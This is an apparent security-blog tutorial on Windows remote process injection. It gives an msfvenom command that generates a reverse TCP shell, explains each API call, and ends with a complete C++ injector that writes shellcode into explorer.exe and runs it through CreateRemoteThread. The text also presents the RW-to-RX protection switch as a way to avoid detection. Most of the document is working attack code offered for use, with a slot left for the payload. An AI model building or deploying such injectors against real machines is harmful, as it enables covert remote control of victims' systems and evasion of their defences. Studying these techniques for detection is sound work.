Remote Process Injection consists on injecting a shellcode within a memory region inside the virtual address space of target process’s memory.

Overview

This process injection technique involves:

  • Toolhelp32: To enumerate running processes within a read-only snapshot and search for a process by its name.
  • OpenProcess: To get a handle on a specific running process with necessary access rights.
  • VirtualAllocEx: To allocate a memory region within the virtual address space of the target process using its handle.
  • WriteProcessMemory: To copy the shellcode inside the allocated memory space.
  • VirtualProtect: To change the protection on a region of committed pages in the virtual address space from PAGE_READWRITE to PAGE_EXECUTE_READ avoiding RWX region detection.
  • CreateRemoteThread: To create a thread within a remote process that will execute the shellcode within the allocated memory.

Explanation

First, we start by generating the shellcode to inject into the remote process:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=8000 -f c

Then, we create a snapshot of all running processes in the system using CreateToolhelp32Snapshot which returns either a handle of the current read-only snapshot, or INVALID_HANDLE_VALUE if the function fails.

1
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  • TH32CS_SNAPPROCESS includes all processes in the system in the snapshot
  • NULL as this is only required to get the snapshot of a specific process

We initiate an instance of PROCESSENTRY32W struct and assign a size of PROCESSENTRY32 to its dwSize. It will contain process information (executable file name, PID and PPID)

1
2
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

To enumerate the processes in the snapshot, we will use 2 functions Process32First and Process32Next

After finding the target process by its name, we have to open a handle on that process by using OpenProcess

1
2
3
4
if (processName == pe32.szExeFile) {
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
  • For the AccessRights, we use PROCESS_ALL_ACCESS
  • FALSE as we will not deal with child processes
  • pe32.th32ProcessID to specify the ID of the target process

Having a handle to a remote target process, we have to first allocate a memory region within the virtual address space of that process.

1
LPVOID sc_address = VirtualAllocEx(hprocess, 0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  • hprocess: Handle to the specified remote process
  • 0: To let the function determine where to allocate the region
  • sizeof(sc): The size of the allocated region
  • MEM_COMMIT|MEM_RESERVE: The type of memory allocation to use which in this case to reserve and commit pages in one step
  • PAGE_READWRITE: To allow the shellcode to be read and written in memory.

Now, we copy the shellcode to the allocated memory region on the target process using WriteProcessMemory:

1
WriteProcessMemory(hprocess,sc_address,sc,sizeof(sc),0)
  • hprocess: The handle to the specified process memory
  • sc_address: A pointer to the base address in the process to which the shellcode will be written
  • sc: A pointer to the shellcode to be written into the allocated memory region
  • sizeof(sc): The number of bytes to be written to the process memory
  • 0: As we want to ignore the NumberOfBytesWritten parameter

Before creating a thread on that process, we have to change the memory protection options from PAGE_READWRITE to PAGE_EXECUTE_READ

1
VirtualProtectEx(hprocess, sc_address, sizeof(sc), PAGE_EXECUTE_READ, &OldProtect);
  • hprocess: Handle to the process whose memory protection has to be changed
  • sc_address: A pointer to the base address of the region of pages whose access protection attributes are to be changed.
  • sizeof(sc): Number of bytes of the region whose access protection will be changed
  • PAGE_EXECUTE_READ: New memory protection flags
  • &OldProtect: A pointer to a variable that receives the old access protection of the first page in the specified region of pages.

We create a remote thread within the process to execute our shellcode using CreateRemoteThread

1
HANDLE hthread=CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)sc_address,0,0,0);
  • hprocess: Handle to the remote process
  • NULL: To get the default security descriptor and make the handle not inheritable
  • 0: So that the new thread uses the default size for the executable
  • (LPTHREAD_START_ROUTINE)sc_address: A pointer to the starting address to be executed by the thread
  • 0: As our shellcode does not require any parameters
  • 0: To let the thread run immediately after creation
  • 0: As we do not need to return the thread identifier

We then call WaitForSingleObject to wait for the thread to complete

1
WaitForSingleObject(hthread, 500);
  • hthread: Handle on the created thread
  • 500: Wait for 500 milliseconds

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using namespace std;
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

HANDLE SearchProcessByName(wstring& processName) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE hprocess = nullptr;

if (snapshot != INVALID_HANDLE_VALUE) {
if (Process32First(snapshot, &pe32)) {
do
{
if (processName == pe32.szExeFile) {
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}

} while (Process32Next(snapshot, &pe32));
}

}
CloseHandle(snapshot);
return hprocess;
}

int main()
{
//Add the shellcode inside this variable
unsigned char sc[] = {""};

wstring pName = L"explorer.exe";
HANDLE hprocess = SearchProcessByName(pName);
DWORD OldProtect = 0;

if (hprocess != NULL) {
LPVOID sc_address = VirtualAllocEx(hprocess, 0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (WriteProcessMemory(hprocess,sc_address,sc,sizeof(sc),0)) {
VirtualProtectEx(hprocess, sc_address, sizeof(sc), PAGE_EXECUTE_READ,&OldProtect);

HANDLE hthread=CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)sc_address,0,0,0);

if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
}
CloseHandle(hprocess);
}
else {
cout << "Failed to obtain a process handle";
}
return 0;
}